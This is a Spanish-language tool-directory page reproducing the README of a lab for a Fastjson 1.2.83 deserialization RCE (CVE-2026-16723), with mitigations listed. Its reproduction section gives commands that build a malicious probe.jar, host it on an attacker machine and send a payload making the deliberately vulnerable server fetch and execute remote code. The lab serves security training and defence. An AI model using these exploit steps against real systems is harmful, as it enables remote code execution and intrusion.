Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/why-success/fastjson-rce-lab
Análisis de VulnerabilidadesExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Entorno de laboratorio Fastjson 1.2.83 RCE (CVE-2026-16723)

Ver Repositorio
3hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio de RCE Fastjson 1.2.83 (CVE-2026-16723)

Descargo de responsabilidad: este laboratorio está destinado únicamente a la investigación de seguridad, demostraciones didácticas y construcción de defensas en entornos autorizados. Realizar pruebas sobre objetivos no autorizados puede ser ilegal; el usuario asume las consecuencias de su uso.

Resumen de la vulnerabilidad

ElementoContenido
CVECVE-2026-16723 (CVSS 9.0)
Versiones afectadasFastjson 1.2.68 ~ 1.2.83
Tipo de vulnerabilidadEjecución remota de código por deserialización (RCE)
Característica principalGadget-free (no depende de ninguna biblioteca de terceros)
Condiciones para el RCE completoJDK 8 + Spring Boot Fat-JAR + SafeMode desactivado

Descripción del entorno del laboratorio

  • Fastjson 1.2.83

    • SafeMode desactivado (estado predeterminado)
  • Spring Boot fat-JAR empaquetado (incluye LaunchedURLClassLoader, componente necesario de la cadena de explotación)

  • Línea clave ajustada: ParseController cambia el ClassLoader del hilo a LaunchedURLClassLoader antes de llamar a JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); es el requisito previo necesario para que la ruta de sondeo de @JSONType pueda cargar clases de forma remota

  • Proporciona dos endpoints de análisis: /parse (JSON.parse) y /parseObject (JSON.parseObject)

Requisitos del entorno

  • JDK 8 (para el RCE completo se requiere JDK 8; con JDK 9+ solo se consigue SSRF, no un RCE completo)
  • Sistema operativo: Windows / Linux / UOS / macOS
  • Memoria: mínimo 256 MB libres

Compilación

Compilar el fat-JAR desde el código fuente (requiere JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

El artefacto de compilación está en target/fastjson-rce-lab.jar.

Si no tienes Maven, también puedes usar el Maven Wrapper incluido en el proyecto (requiere configurar mvnw de antemano).

Inicio rápido

Windows

root@kitploit:~
# Haz doble clic en start.bat
# o desde la línea de comandos
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# o iniciar manualmente
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

Acerca de --server.port=18080: el entorno puede contener variables de entorno como SERVER__PORT que sobrescriben la configuración del puerto en application.properties; forzar el puerto mediante un parámetro de línea de comandos garantiza que el puerto sea el correcto (los parámetros de línea de comandos tienen la máxima prioridad).

Acerca de los parámetros JVM: -Xmx256m -XX:+UseSerialGC son para que el laboratorio funcione correctamente en máquinas virtuales con poca memoria (p. ej., Kali de 2-4 GB) y evitar OOM durante la inicialización de la JVM. Si la máquina tiene suficiente memoria, se pueden eliminar.

Verificación del inicio

root@kitploit:~
curl http://127.0.0.1:18080/status

Respuesta esperada:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

Si safeMode: false y vulnerable: true, el estado es vulnerable.

Descripción de los endpoints

Principio de la vulnerabilidad

root@kitploit:~
1. El atacante envía un JSON especialmente diseñado (@type apunta a una ruta de recurso jar:http)
2. checkAutoType() de Fastjson convierte typeName en la ruta de recurso "typeName.replace('.', '/') + .class" para la detección
3. getResourceAsStream() activa LaunchedURLClassLoader → inicia una petición HTTP para descargar el JAR remoto
4. ASM escanea el bytecode y encuentra la anotación @JSONType → la considera una señal de confianza
5. Omite la comprobación de la clase base peligrosa → loadClass() → defineClass()
6. Se activa el bloque de inicialización estática <clinit> → RCE

Código clave del laboratorio

root@kitploit:~
// ParseController.java — endpoint /parse
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ Esta línea es la clave: cambiar a LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Sin esa línea de setContextClassLoader, Fastjson utiliza el AppClassLoader predeterminado del sistema y no puede cargar clases remotas a través del protocolo jar:http://.

Reproducción de la explotación

Paso 1: obtener la herramienta PoC

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Paso 2: modificar GenProbe.java (clave)

El poc/GenProbe.java incluido en el repositorio tiene dos problemas de compatibilidad ya corregidos:

  1. /bin/bash -c codificado → se cambió a una versión genérica con Runtime.exec(String) (funciona en Windows/Linux)
  2. Formato de comando multiplataforma: en el laboratorio Windows se usa "cmd /c xxx"; en el laboratorio Linux se usa directamente "touch /tmp/pwned" o "bash -c xxx"

Paso 3: generar probe.jar y alojarlo

El flujo completo del ataque se describe en 靶场测试完整指南.md (en el mismo directorio), e incluye:

  • Procedimiento completo de ataque en siete pasos
  • Tabla de referencia rápida de comandos por plataforma
  • 6 errores comunes y métodos de solución de problemas

Verificación rápida (ejemplo de laboratorio Windows)

root@kitploit:~
# En la máquina atacante (o una máquina que pueda compilar Java)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# Copiar poc/www/probe a Kali
# Iniciar el alojamiento HTTP en Kali
cd poc/www && python3 -m http.server 19090

# Reiniciar el laboratorio → abrir un nuevo terminal en Kali y lanzar el exploit
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Soluciones de mitigación

Mitigación urgente: habilitar SafeMode

root@kitploit:~
# Parámetro de arranque de JVM
-Dfastjson.parser.safeMode=true
root@kitploit:~
// Configuración en código
ParserConfig.getGlobalInstance().setSafeMode(true);

Mitigación a largo plazo: migrar a Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 no se ve afectado por esta vulnerabilidad.

Otras medidas

  • Usar la versión compilada com.alibaba:fastjson:1.2.83_noneautotype
  • Bloquear el tráfico HTTP saliente del servidor de aplicaciones
  • Auditar todas las instancias de dependencias de Fastjson 1.x

Referencias técnicas

  • Divulgado por Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
  • Proyecto PoC: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Aviso de seguridad de Alibaba (2026-07-21)
  • Aviso de seguridad de Tencent Cloud (2026-07-20)
Descargar herramienta
MétodoRutaDescripción
GET/Página de inicio del laboratorio (HTML)
GET/statusEstado de la configuración de Fastjson (JSON)
POST/parseJSON.parse(body) — endpoint principal de activación de la vulnerabilidad
POST/parseObjectJSON.parseObject(body) — endpoint de activación alternativo